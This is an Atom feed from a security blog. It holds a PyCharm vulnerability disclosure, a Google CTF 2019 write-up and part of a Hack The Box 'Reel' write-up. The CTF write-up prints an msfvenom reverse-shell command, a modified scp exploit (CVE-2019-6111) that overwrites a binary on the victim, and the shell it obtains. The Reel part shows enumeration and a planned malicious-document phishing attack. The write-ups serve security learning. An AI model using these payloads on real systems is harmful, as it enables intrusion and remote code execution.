
<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.5">Jekyll</generator><link href="https://atorralba.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://atorralba.github.io/" rel="alternate" type="text/html" /><updated>2024-06-03T10:04:46+00:00</updated><id>https://atorralba.github.io/feed.xml</id><title type="html">Tony Torralba</title><subtitle>Software &amp; Security Blog</subtitle><entry><title type="html">CVE-2021-30005 - PyCharm Local Code Execution</title><link href="https://atorralba.github.io/CVE-2021-30005-PyCharm-Local-Code-Execution/" rel="alternate" type="text/html" title="CVE-2021-30005 - PyCharm Local Code Execution" /><published>2021-05-12T00:00:00+00:00</published><updated>2021-05-12T00:00:00+00:00</updated><id>https://atorralba.github.io/CVE-2021-30005-PyCharm-Local-Code-Execution</id><content type="html" xml:base="https://atorralba.github.io/CVE-2021-30005-PyCharm-Local-Code-Execution/"><![CDATA[<p>Some time ago, I read <a href="https://blog.doyensec.com/2020/03/16/vscode_codeexec.html">a blogpost from Doyensec</a> that explained a simple but impactful vulnerability in a Visual Studio Code plugin – specifically, it leveraged Python virtual environments to execute arbitrary code when a malicious project was opened in the IDE. At the time, my job involved a lot of Python developing using <a href="https://www.jetbrains.com/pycharm/">JetBrain’s PyCharm</a>, so I asked myself: is PyCharm vulnerable to something similar? This post summarizes the consequences of that question, which ultimately led to the discovery of <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30005">CVE-2021-30005</a>.</p>

<p><strong><em>Disclaimer</em></strong>: <em>this is a short post and the vulnerability is quite trivial. Don’t expect too much leetness :-P</em></p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>It’s a fairly simple issue: when opening a Python project, PyCharm (up to version 2020.3.4) automatically detects and activates any virtual environments found in the project. That’s a really convenient thing to do from a developer point of view: having to manually enable virtual environments for each project gets tedious very fast. But, from a security standpoint, that’s not so good.</p>

<p>We download projects from third parties and open them in our IDEs all the time, for various reasons. Like the good old “pipe this install script to sudo bash”, running code written by strangers is usually not a good idea, at least not before some inspection. The problem is that you will open the project in your IDE precisely to perform that inspection, and if your IDE automatically runs code from the project when you do that, well… You can get compromised before even realizing it.</p>

<h2 id="discovery">Discovery</h2>

<p>The test to confirm the vulnerability is easy: I just created a repository that already included a virtual environment, and I modified the <code class="language-plaintext highlighter-rouge">bin/activate</code> script (the one that gets executed when activating a virtual environment in Unix systems) to run an arbitrary command (open a calculator). After that, it was just a matter of cloning the repository, opening it in PyCharm and seeing the calculator pop up.</p>

<p>Whelp, it seems that indeed, the vulnerability exists!</p>

<h2 id="poc">PoC</h2>

<p>You can find the PoC that I used <a href="https://github.com/atorralba/CVE-2021-30005-POC">here</a>. Adjust the command in <code class="language-plaintext highlighter-rouge">bin/activate</code> (or the appropriate activation script for your OS) and make sure that you’re using a vulnerable version of PyCharm (&lt;2020.3.4) if you want to reproduce the issue.</p>

<h2 id="mitigation">Mitigation</h2>

<p>Although this is a simple vulnerability, its severity is quite high: execution of arbitrary commands. Technically, there’s not much more to discuss, but it opens and interesting conversation about trust in the open source landscape, and of course about the eternal discussion about convenience vs security. The folks at JetBrains did a great job <a href="https://blog.jetbrains.com/pycharm/2021/03/pycharm-2020-3-4-is-out/">reasoning about the trust topic in their blog</a>, so instead of repeating it here I’ll just recommend you to read it there.</p>

<p>But TL;DR, the fix consisted in not executing anything by default when opening an untrusted project. To avoid losing the usability aspect of the feature, users have the ability to define trusted locations for projects, the virtual environments of which will get automatically activated. Cool!</p>

<h2 id="conclusion">Conclusion</h2>

<p>In this blog post, I wanted to talk about this little but impactful discovery that initially seemed simple, but that in my opinion raised interesting questions about how to fix vulnerabilities like this without losing too much convenience, or about what trust means in software development, and it opens the door for a kind of attack that we’re just starting to witness – one in which the targets are no longer casual users, but developers themselves.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Some time ago, I read a blogpost from Doyensec that explained a simple but impactful vulnerability in a Visual Studio Code plugin – specifically, it leveraged Python virtual environments to execute arbitrary code when a malicious project was opened in the IDE. At the time, my job involved a lot of Python developing using JetBrain’s PyCharm, so I asked myself: is PyCharm vulnerable to something similar? This post summarizes the consequences of that question, which ultimately led to the discovery of CVE-2021-30005.]]></summary></entry><entry><title type="html">GitHub Security Lab CTF 4 - CodeQL and Chill - Writeup</title><link href="https://atorralba.github.io/GSHL-CTF4-CodeQL-and-chill/" rel="alternate" type="text/html" title="GitHub Security Lab CTF 4 - CodeQL and Chill - Writeup" /><published>2020-06-26T00:00:00+00:00</published><updated>2020-06-26T00:00:00+00:00</updated><id>https://atorralba.github.io/GSHL-CTF4-CodeQL-and-chill</id><content type="html" xml:base="https://atorralba.github.io/GSHL-CTF4-CodeQL-and-chill/"><![CDATA[<p>I’ve been very interested in CodeQL since the moment I discovered its existence. Even though I did the tutorials back in the day, I knew I needed more knowledge and hands-on practice to be able to do something useful with it. So, as soon as it was announced, I decided I was going to participate in <a href="https://securitylab.github.com/ctf/codeql-and-chill">GitHub Security Lab CTF 4 - CodeQL and Chill</a>. After some weeks of battling with it, I was able to deliver a solution and ended up getting the 5th position in the competition. Even though it’s not enough to get any of the prices, the experience alone was absolute worth the time invested. In the following link you can find the write-up and queries I delivered as my solution to the challenge. I hope you enjoy reading it (at leasy partly) as much as I did struggling to solve it!</p>

<p><a href="https://github.com/atorralba/GHSL_CTF_4">Solution</a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[I’ve been very interested in CodeQL since the moment I discovered its existence. Even though I did the tutorials back in the day, I knew I needed more knowledge and hands-on practice to be able to do something useful with it. So, as soon as it was announced, I decided I was going to participate in GitHub Security Lab CTF 4 - CodeQL and Chill. After some weeks of battling with it, I was able to deliver a solution and ended up getting the 5th position in the competition. Even though it’s not enough to get any of the prices, the experience alone was absolute worth the time invested. In the following link you can find the write-up and queries I delivered as my solution to the challenge. I hope you enjoy reading it (at leasy partly) as much as I did struggling to solve it!]]></summary></entry><entry><title type="html">Google CTF 2019 - Bob Needs a File</title><link href="https://atorralba.github.io/GoogleCTF2019_BobNeedsAFile/" rel="alternate" type="text/html" title="Google CTF 2019 - Bob Needs a File" /><published>2019-06-24T00:00:00+00:00</published><updated>2019-06-24T00:00:00+00:00</updated><id>https://atorralba.github.io/GoogleCTF2019_BobNeedsAFile</id><content type="html" xml:base="https://atorralba.github.io/GoogleCTF2019_BobNeedsAFile/"><![CDATA[<p>Last year I regretted not participating in Google CTF and told myself I <em>needed</em> to participate the next time. Well, the next time arrived last weekend, and I managed to persuade some colleagues to create a team and join the fun.</p>

<p>After a busy and really fun weekend, we managed to get 3 flags. This is the write-up of how we captured one of them, the challenge <code class="language-plaintext highlighter-rouge">Bob Needs a File</code> of the <code class="language-plaintext highlighter-rouge">MISC</code> category!</p>

<h2 id="poking-around">Poking around</h2>

<p>The description of the challenge is the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>It's like Google Drive, but better, maybe.

nc sc00p.ctfcompetition.com 1337
</code></pre></div></div>

<p>OK, so let’s start by seeing what this <code class="language-plaintext highlighter-rouge">netcat</code> connection tells us:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc sc00p.ctfcompetition.com 1337

Hi Alice,

Put in your ip address here and I'll pull the file from you on our usual ssh port and execute my job to call you back with the results.

Thanks,
Bob
</code></pre></div></div>

<p>Right. Sounds pretty straight-forward. Bob will ask us for a file at the IP we provide “on their usual ssh port”, which we don’t know, and then will execute some job with that file. At this point I was already guessing that the challenge would focus on either:</p>

<ul>
  <li>a) returning a malicious file and exploit the “job” (whatever it was) to get the flag</li>
  <li>or b) exploiting an SSH client vulnerability (some of which I remembered were disclosed recently)</li>
</ul>

<p>But first things first, let’s discover at what port Bob is trying to connect to us.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo tcpdump -nn -i eth0 'port not 443 and port not 80 and port not 22 and tcp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

13:29:42.321607 IP 35.195.214.46.57194 &gt; REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286463866 ecr 0,nop,wscale 7], length 0
13:29:43.344451 IP 35.195.214.46.57194 &gt; REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286464889 ecr 0,nop,wscale 7], length 0
13:29:45.356523 IP 35.195.214.46.57194 &gt; REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286466901 ecr 0,nop,wscale 7], length 0
</code></pre></div></div>

<p>Great, he’s using the 2222 port. Since he mentions the “ssh port” and he’s requesting a file, we immediately thought of SFTP. After considering some options, we decided using <a href="https://www.paramiko.org/"><code class="language-plaintext highlighter-rouge">paramiko</code></a>, a cool Python implementation of the SSH protocol. Luckily, <code class="language-plaintext highlighter-rouge">paramiko</code> offers some demos which we can modify to suit our needs instead of writing something from scratch. The <a href="https://github.com/paramiko/paramiko/blob/master/demos/demo_server.py"><code class="language-plaintext highlighter-rouge">demo_server.py</code></a> script seemed like a good starting point.</p>

<h2 id="playing-with-paramiko">Playing with paramiko</h2>

<p>I still had in mind that the file requested by Bob needed to be crafted to exploit his job, but at this point I thought that maybe the whole thing was easier, and the flag could be the credentials sent by Bob to authenticate in the SSH server. So we modified the <code class="language-plaintext highlighter-rouge">demo_server</code> to:</p>

<ul>
  <li>Listen on port 2222</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SO_REUSEADDR</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">""</span><span class="p">,</span> <span class="mi">2222</span><span class="p">))</span>
</code></pre></div></div>

<ul>
  <li>Print out the provided username and password (if this is the method used to authenticate) and always authenticate correctly regardless of credentials</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">check_auth_password</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="n">username</span><span class="p">,</span><span class="n">password</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">paramiko</span><span class="p">.</span><span class="n">AUTH_SUCCESSFUL</span>
</code></pre></div></div>

<ul>
  <li>Print out whatever the client sends to the server after authentication</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">"""
server.event.wait(10)
if not server.event.is_set():
    print("*** Client never asked for a shell.")
    sys.exit(1)
"""</span>

<span class="c1"># ...
</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">chan</span><span class="p">.</span><span class="n">makefile</span><span class="p">(</span><span class="s">"rU"</span><span class="p">)</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">readline</span><span class="p">().</span><span class="n">strip</span><span class="p">(</span><span class="s">"</span><span class="se">\r\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
</code></pre></div></div>

<p>Also, some dependencies need to be installed for this script to work properly (even though we probably won’t be using <code class="language-plaintext highlighter-rouge">gssapi</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt-get install python-pip libkrb5-dev
$ pip3 install --user gssapi
</code></pre></div></div>

<p>OK, now we are set to go. Let’s try to launch this server and give our IP to Bob again:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 demo_server.py 
Read key: 60733844cb5186657fdedaa22b5a57d5
Listening for connection ...
Got a connection!
bob 
Authenticated!
scp: 
</code></pre></div></div>

<p>And just like this, two of my hypothesis went right out the window: Bob was authenticating with a blank password (sad face) and he was using <code class="language-plaintext highlighter-rouge">scp</code>, not <code class="language-plaintext highlighter-rouge">SFTP</code>. Even worse, with our implementation of the SSH server, we weren’t seeing the file being requested, so we couldn’t serve it to see what happened next.</p>

<h2 id="datatxt-and-generatereport"><code class="language-plaintext highlighter-rouge">data.txt</code> and <code class="language-plaintext highlighter-rouge">generatereport</code></h2>

<p>At this point, a lot of googling, frustrated screams and saddening sobs happened. We tried to make <code class="language-plaintext highlighter-rouge">scp</code> work server-side with <code class="language-plaintext highlighter-rouge">paramiko</code>, but we were constantly hitting roadblocks. After a while, I desperately cried for help in our team chat, and one of our members suggested using <a href="https://www.exploit-db.com/exploits/46193">this amazing PoC for CVE-2019-6111 and CVE-2019-6110</a>. Even though we had thought of client-side SSH exploits, what interested us the most was the working <code class="language-plaintext highlighter-rouge">scp</code> server that returned any file that was requested. Yeah, umpteenth reminder that there are people out there way better than me at anything!</p>

<p>But well, let’s give it a try! Just by changing the interface it listens on:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sock</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">'0.0.0.0'</span><span class="p">,</span> <span class="mi">2222</span><span class="p">))</span>
<span class="n">sock</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">'Listening on port 2222...'</span><span class="p">)</span>
</code></pre></div></div>

<p>And giving our IP to Bob once more:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 46193.py 
INFO:root:Creating a temporary RSA host key...
INFO:root:Listening on port 2222...
INFO:root:Received connection from 34.76.117.194:38910
INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_5.9p1)
INFO:paramiko.transport:Auth rejected (none).
INFO:root:Authenticated with bob:
INFO:paramiko.transport:Auth granted (password).
INFO:root:Opened session channel 0
INFO:root:Approving exec request: scp -f -- data.txt
INFO:root:Sending requested file "data.txt" to channel 0
INFO:root:Sending malicious file "exploit.txt" to channel 0
INFO:root:Covering our tracks by sending ANSI escape sequence
INFO:paramiko.transport:Disconnect (code 11): disconnected by user
</code></pre></div></div>

<p>Wow, just with that we see that <code class="language-plaintext highlighter-rouge">data.txt</code> is the file that Bob requests! And by pure luck it seems the exploit works too. It’s just we don’t know what we want to exploit with it just yet. But Bob said he would “come back to us” with the result of his “job”, so let’s listen for incoming connections again and see what happens:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo tcpdump -nn -i eth0 'port not 443 and port not 80 and port not 22 and tcp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

...

14:10:27.612236 IP 35.195.214.46.57610 &gt; REDACTED.2223: Flags [S], seq 423611077, win 28400, options [mss 1420,nop,nop,TS val 1288908991 ecr 0,nop,wscale 7], length 0
14:10:27.612285 IP REDACTED.2223 &gt; 35.195.214.46.57610: Flags [R.], seq 0, ack 423611078, win 0, length 0
</code></pre></div></div>

<p>After all the traffic to port 2222, we can see another connection from the same IP address to our port 2223. Let’s listen on that port to see what Bob is trying to send us!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvvp 2223
Listening on [0.0.0.0] (family 0, port 2223)
Connection from 46.214.195.35.bc.googleusercontent.com 57648 received!
## generated by generatereport
## generatereport failed. Error: unknown
</code></pre></div></div>

<p>Hmmm. Ok, apparently some <code class="language-plaintext highlighter-rouge">generatereport</code> tool was executed with our <code class="language-plaintext highlighter-rouge">data.txt</code> and of course it failed because we didn’t provide the proper file.</p>

<h2 id="cve-2019-6111">CVE-2019-6111</h2>

<p>Again, we googled a lot at this point to see what this <code class="language-plaintext highlighter-rouge">generatereport</code> was and how we could exploit it, maybe sending it a malicious <code class="language-plaintext highlighter-rouge">data.txt</code> file… And of course we found nothing. But then it clicked us.</p>

<p>We have a functional PoC of CVE-2019-6111 to overwrite additional files other than the one requested via <code class="language-plaintext highlighter-rouge">scp</code>. Why don’t we try to overwrite that <code class="language-plaintext highlighter-rouge">generatereport</code>, whatever it is? (assuming it’s in the same directory where <code class="language-plaintext highlighter-rouge">data.txt</code> is being requested!)</p>

<p>To confirm this, we firstly altered the exploit so that it sent an innocuous <code class="language-plaintext highlighter-rouge">generatereport</code> file to see what happened. And after setting the server up and speaking with Bob again, we happily checked that we no longer received the connection to port 2223 after Bob’s <code class="language-plaintext highlighter-rouge">scp</code>. It seemed that our hypothesis was correct and <code class="language-plaintext highlighter-rouge">generatereport</code> was overwritten. Time to deliver a real payload!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># msfvenom -p linux/x86/shell_reverse_tcp LHOST=REDACTED LPORT=2223 -f elf -o sploit
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: sploit
</code></pre></div></div>

<p><strong>Note:</strong> We used port 2223 with our reverse shell to make sure the victim could go out through that port and no firewall would block us.</p>

<p>Once the malicious executable was set, we modified the exploit to deliver it instead of the default payload:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'sploit'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">payload</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>

<span class="c1"># ...
</span>
<span class="c1"># This is CVE-2019-6111: whatever file the client requested, we send
# them 'exploit.txt' instead.
</span><span class="n">logging</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">'Sending malicious file "generatereport to channel %d'</span><span class="p">,</span>
    <span class="n">channel</span><span class="p">.</span><span class="n">get_id</span><span class="p">())</span>
<span class="n">command</span> <span class="o">=</span> <span class="s">'C0664 {} generatereport</span><span class="se">\n</span><span class="s">'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)).</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">)</span>
</code></pre></div></div>

<p>The only thing left to do was to set the listener and cross our fingers:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvvp 2223
Listening on [0.0.0.0] (family 0, port 2223)
Connection from 170.101.195.35.bc.googleusercontent.com 34972 received!
id
uid=1337(user) gid=1337(user) groups=1337(user)

cat flag.txt
CTF{0verwr1teTh3Night}
</code></pre></div></div>

<p>I have to admit that, for the first 10 seconds, I couldn’t believe it worked.</p>

<h2 id="conclusion">Conclusion</h2>

<p>This was not only a really fun challenge, but one of the few we managed to solve during the CTF, so it has a special place in our hearts. I’m aware we kind of stumbled on the solution, but we also paid the price with frustration and hours of tinkering, so there’s that. The “overwrite the <code class="language-plaintext highlighter-rouge">generatereport</code> binary” part was a quite wild thought and seeing it actually working was amazing. Even thought we didn’t get that many flags during the competition (and didn’t get even near the top 10 teams that got qualified for the finals), this CTF weekend was a really great experience. I can’t wait for the 2020 edition to try and improve our marks.</p>

<p><img src="/images/googlectf2019_bobneedsafile_solved.png" alt="Solved" /></p>

<p>Thanks for reading!</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Last year I regretted not participating in Google CTF and told myself I needed to participate the next time. Well, the next time arrived last weekend, and I managed to persuade some colleagues to create a team and join the fun.]]></summary></entry><entry><title type="html">Hack The Box - Reel</title><link href="https://atorralba.github.io/HackTheBox-Reel/" rel="alternate" type="text/html" title="Hack The Box - Reel" /><published>2018-11-07T00:00:00+00:00</published><updated>2018-11-07T00:00:00+00:00</updated><id>https://atorralba.github.io/HackTheBox-Reel</id><content type="html" xml:base="https://atorralba.github.io/HackTheBox-Reel/"><![CDATA[<p>It’s been a while since I’ve posted a write-up about a Hack The Box machine in here. I had several candidates to write a post about, but finally I think the one I enjoyed the most was <strong>Reel</strong>. This fantastic box had me work on it over the span of two months, and when finally I reached admin I was astonished of how cool the ride had been. So let’s see how it went!</p>

<h2 id="enumeration">Enumeration</h2>

<p>Of course, the first thing we do is <code class="language-plaintext highlighter-rouge">nmap</code>-ing to see what we are facing here and how to approach it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># nmap -sC -sV -oA nmap/initial -v 10.10.10.77

Nmap scan report for 10.10.10.77
Host is up (0.075s latency).
Not shown: 992 filtered ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-29-18  12:19AM       &lt;DIR&gt;          documents
| ftp-syst:
|_  SYST: Windows_NT
22/tcp    open  ssh          OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
|   2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
|   256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_  256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (EdDSA)
25/tcp    open  smtp?
| fingerprint-strings:
|   DNSStatusRequest, DNSVersionBindReq, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessi
onReq, X11Probe:
|     220 Mail Service ready
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|   Hello:
|     220 Mail Service ready
|     EHLO Invalid domain address.
|   Help:
|     220 Mail Service ready
|     DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|   SIPOptions:
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|_    sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49159/tcp open  msrpc        Microsoft Windows RPC

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2012::-
|   Computer name: REEL
|   NetBIOS computer name: REEL\x00
|   Domain name: HTB.LOCAL
|   Forest name: HTB.LOCAL
|   FQDN: REEL.HTB.LOCAL
|_  System time: 2018-09-21T13:55:07+01:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2018-09-21 14:55:05
|_  start_date: 2018-09-21 14:09:20

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 21 14:55:44 2018 -- 1 IP address (1 host up) scanned in 223.33 seconds
</code></pre></div></div>

<p>That’s quite an interesting attack surface we have right here! There’s no web service listening on this box, so right away we see this isn’t going to be the typical webapp-exploit-then-root machine, which is cool!</p>

<p>Whenever I see FTPs, the first thing I always try is anonymous login, so let’s go for that.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ftp 10.10.10.77

Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp&gt; dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-28-18  11:19PM       &lt;DIR&gt;          documents
226 Transfer complete.
</code></pre></div></div>
<p>Perfect! Let’s see what documents we can download:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp&gt; cd documents
250 CWD command successful.
ftp&gt; dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-28-18  11:19PM                 2047 AppLocker.docx
05-28-18  01:01PM                  124 readme.txt
10-31-17  09:13PM                14581 Windows Event Forwarding.docx
226 Transfer complete.
</code></pre></div></div>
<p>After promptly getting the three files, we, as good kids, read the <code class="language-plaintext highlighter-rouge">readme.txt</code> first, because that’s what we are supposed to do, right?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>please email me any rtf format procedures - I'll review and convert.

new format / converted documents will be saved here.
</code></pre></div></div>

<p>Hmmm. Converting RTFs to what? DOCX maybe? Since the other documents in the directory are Microsoft Word documents, that seems a reasonable guess to make. Now, I am unable to read <code class="language-plaintext highlighter-rouge">Windows Event Forwarding.docx</code>, my LibreOffice spits out an error everytime I try, but I have more luck with <code class="language-plaintext highlighter-rouge">AppLocker.docx</code>. It says:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect.
</code></pre></div></div>

<p>Ok, bad news. This probably means we will have to face <code class="language-plaintext highlighter-rouge">AppLocker</code> once we get a shell on the box. But we are far from that! So, now what?</p>

<h2 id="the-wonders-of-metadata">The wonders of metadata</h2>

<p>We have a good amount of information from our enumeration phase. Now it’s time to craft a meticulously planned several-stage attack… or to bang our heads against the machine until something works. Yay, <em>hacking</em>!</p>

<p>We know from our <code class="language-plaintext highlighter-rouge">nmap</code> scan that the server has an SMTP service listening at port 25, which kind of sticks out now because of the <code class="language-plaintext highlighter-rouge">readme.txt</code> we previously read. So <em>maybe</em> we are capable of using this SMTP server to send e-mails, but to whom?</p>

<p>Well, whoever wrote/converted the documents in the FTP server, she’s probably a user of the machine and therefore a potential victim. So is there a chance her user account is somewhere in the generated documents?</p>

<p>Now, I have a confession to make. I don’t usually add it to my writeups unless it gives some useful information, but I use <code class="language-plaintext highlighter-rouge">exiftool</code> on almost EVERYTHING I find during reconaissance when solving CTFs or doing pentest. It’s probably some kind of derangement that affected me after my first three or four CTF-like machines involved searching for metadata in images or documents.</p>

<p>So you can imagine I got really happy when I ran <code class="language-plaintext highlighter-rouge">exiftool</code> on the three documents and one of them was bingo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># exiftool Windows\ Event\ Forwarding.docx
ExifTool Version Number         : 11.16
File Name                       : Windows Event Forwarding.docx
Directory                       : .
File Size                       : 14 kB
File Modification Date/Time     : 2018:09:21 14:53:40+02:00
File Access Date/Time           : 2018:10:21 10:43:29+02:00
File Inode Change Date/Time     : 2018:09:30 21:12:19+02:00
File Permissions                : rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x82872409
Zip Compressed Size             : 385
Zip Uncompressed Size           : 1422
Zip File Name                   : [Content_Types].xml
Creator                         : nico@megabank.com
Revision Number                 : 4
Create Date                     : 2017:10:31 18:42:00Z
Modify Date                     : 2017:10:31 18:51:00Z
Template                        : Normal.dotm
Total Edit Time                 : 5 minutes
Pages                           : 2
Words                           : 299
Characters                      : 1709
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 14
Paragraphs                      : 4
Scale Crop                      : No
Heading Pairs                   : Title, 1
Titles Of Parts                 :
Company                         :
Links Up To Date                : No
Characters With Spaces          : 2004
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 14.0000
</code></pre></div></div>

<p>Do you see that beautiful <code class="language-plaintext highlighter-rouge">Creator</code> field over there? We got an e-mail address, and probably a user of the box too!</p>

<p>Now I can actually make some kind of attack plan as if this was some cool heist movie (I know this is cheesy but don’t ruin this for me ok?):</p>

<ol>
  <li>Craft a malicious RTF document (research on how to this because I’ve never done something similar!)</li>
  <li>Use the SMTP service running on the box to send it to <code class="language-plaintext highlighter-rouge">nico@megabank.com</code>, hoping he’ll open it in a vulnerable Word version in order to convert it</li>
  <li>Wait patiently for the shell</li>
</ol>

<p>Yeah, seems easy right? (<em>Narrator</em>: it was not)</p>

<h2 id="malicious-documents">Malicious documents</h2>

<p>The first thing we should do is searching for a suitable (and somewhat recent) exploit that could affect <code class="language-plaintext highlighter-rouge">nico</code> when he opens our RTF document. Our best friend <code class="language-plaintext highlighter-rouge">searchsploit</code> to the rescue!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># searchsploit microsoft word rtf

---------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                      |  Path
